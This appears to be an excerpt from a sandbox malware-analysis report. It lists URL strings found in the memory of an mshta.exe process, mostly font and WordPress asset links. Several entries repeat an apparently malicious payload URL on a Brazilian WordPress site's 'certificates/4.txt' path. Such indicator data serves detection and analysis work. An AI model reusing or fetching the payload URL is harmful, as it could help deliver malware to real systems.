Source: mshta.exe, 0000000A.00000003.350548233.000000000C493000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtQ
Source: mshta.exe, 0000000A.00000003.346536198.0000000006984000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtU
Source: mshta.exe, 0000000A.00000002.505214666.0000000000840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtWinSta0
Source: mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtY
Source: mshta.exe, 0000000A.00000003.386926453.0000000007B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtd
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txter
Source: mshta.exe, 0000000A.00000003.366682870.0000000007B46000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.513911219.0000000006B83000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.366747934.0000000007B48000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.366715950.0000000007B47000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.520840134.0000000007B49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txthttp://facextrade.com.br/wp-includes/certific
Source: mshta.exe, 0000000A.00000003.303772352.0000000006150000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtj
Source: mshta.exe, 0000000A.00000003.381866388.000000000C449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtl
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtlate:
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtlt.aspx?ocid=ie6_countdown_bannercode
Source: mshta.exe, 0000000A.00000002.505214666.0000000000840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtmshta
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtogleTranslateElementInit25.8
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtotB
Source: mshta.exe, 0000000A.00000003.350548233.000000000C493000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txts
Source: mshta.exe, 0000000A.00000003.346536198.0000000006984000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtt
Source: mshta.exe, 0000000A.00000003.381866388.000000000C449000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523176455.000000000C440000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347963455.000000000C449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txty-policysWWWW
Source: mshta.exe, 0000000A.00000002.511278315.0000000006178000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348715822.0000000006177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtz
Source: mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtz0
Source: mshta.exe, 0000000A.00000003.304099066.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511676393.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347751396.000000000620C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/css/style.css
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347193448.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512614928.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.304154911.00000000068CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.522930366.000000000C3C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523176455.000000000C440000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347963455.000000000C449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417
Source: mshta.exe, 0000000A.00000003.347963455.000000000C449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417LV
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417igrate-1.2.1.min.js?ver=1.2.18
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417igrate-1.2.1.min.js?ver=1.2.1?v
Source: mshta.exe, 0000000A.00000003.347193448.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512614928.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.304154911.00000000068CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417r
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417y.easing.1.3.js?ver=1.3
Source: mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381866388.000000000C449000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349732420.000000000C6FC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523176455.000000000C440000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347963455.000000000C449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20
Source: mshta.exe, 0000000A.00000003.381866388.000000000C449000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523176455.000000000C440000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347963455.000000000C449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20.09
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20a.min.js?ver=1.3.4?ver=2.1.09.3
Source: mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20fC:
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.513911219.0000000006B83000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.514335060.0000000006DD0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.283625176.0000000006DD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20
Source: mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20/jquery.flexslider-min.js?
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20/xa=
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.202
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.202X
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20nx
Source: mshta.exe, 0000000A.00000002.523045846.000000000C3E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20ou
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20x
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/wlwmanifest.xml
Source: mshta.exe, 0000000A.00000003.276621858.0000000006233000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.dr	String found in binary or memory: http://fontawesome.io
Source: mshta.exe, 0000000A.00000003.276621858.0000000006233000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.dr	String found in binary or memory: http://fontawesome.io.
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/Gp5=
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303908827.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511592685.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349401689.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latin
Source: mshta.exe, 0000000A.00000003.303908827.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511592685.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349401689.00000000061F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latinC:
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latink/css/magnific-popup.css?ver=0.9.3
Source: mshta.exe, 0000000A.00000003.304114350.0000000006217000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511697847.0000000006217000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347770350.0000000006217000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100
Source: mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100C:
Source: mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511324135.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:300
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511324135.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:300C:
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:400
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:400-release.min.js?ver=4.9.20D
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:400/
Source: mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:400C:
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:400G
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:400K
Source: mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511324135.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347770350.0000000006217000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700h
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511324135.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700luC:
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:900
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:900/I
Source: mshta.exe, 0000000A.00000003.304114350.0000000006217000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511697847.0000000006217000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347770350.0000000006217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:9004.txtVJ
Source: mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:900C:
Source: mshta.exe, 0000000A.00000003.347963455.000000000C449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/
Source: mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512742078.0000000006951000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347751396.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347342517.0000000006951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot
Source: mshta.exe, 0000000A.00000003.293909490.0000000006253000.00000004.00000800.00020000.00000000.sdmp, css[2].css0.10.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot);
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot1#
Source: mshta.exe, 0000000A.00000002.512742078.0000000006951000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347342517.0000000006951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eotC:
Source: mshta.exe, 0000000A.00000003.304099066.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511676393.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347751396.000000000620C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eotW7=;
Source: mshta.exe, 0000000A.00000003.347193448.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512614928.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.304154911.00000000068CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4B
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.304099066.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511676393.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512742078.0000000006951000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347751396.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.522930366.000000000C3C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347342517.0000000006951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot
Source: mshta.exe, 0000000A.00000003.295461721.0000000006277000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.294394265.0000000006277000.00000004.00000800.00020000.00000000.sdmp, css[6].css.10.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot);
Source: mshta.exe, 0000000A.00000002.511676393.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347751396.000000000620C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot86
Source: mshta.exe, 0000000A.00000002.512742078.0000000006951000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347342517.0000000006951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eotC:
Source: mshta.exe, 0000000A.00000003.304099066.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511676393.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347751396.000000000620C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eotG6
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eotP
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.304099066.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511676393.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512742078.0000000006951000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347751396.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347342517.0000000006951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot
Source: mshta.exe, 0000000A.00000002.522930366.000000000C3C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot&
Source: mshta.exe, 0000000A.00000003.293930557.000000000626D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.295454055.000000000626D000.00000004.00000800.00020000.00000000.sdmp, css[5].css.10.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot);
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot.
Source: mshta.exe, 0000000A.00000002.512742078.0000000006951000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347342517.0000000006951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eotC:
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eotm
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.304099066.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511676393.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512742078.0000000006951000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347751396.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347342517.0000000006951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot
Source: mshta.exe, 0000000A.00000003.293918369.000000000625B000.00000004.00000800.00020000.00000000.sdmp, css[3].css.10.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot);
Source: mshta.exe, 0000000A.00000002.512742078.0000000006951000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347342517.0000000006951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eotC:
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eotL
Source: mshta.exe, 0000000A.00000003.304099066.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511676393.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347751396.000000000620C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eotV6
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eotb
Source: mshta.exe, 0000000A.00000002.511278315.0000000006178000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348715822.0000000006177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eotodernizr.js?ver=2.0.6
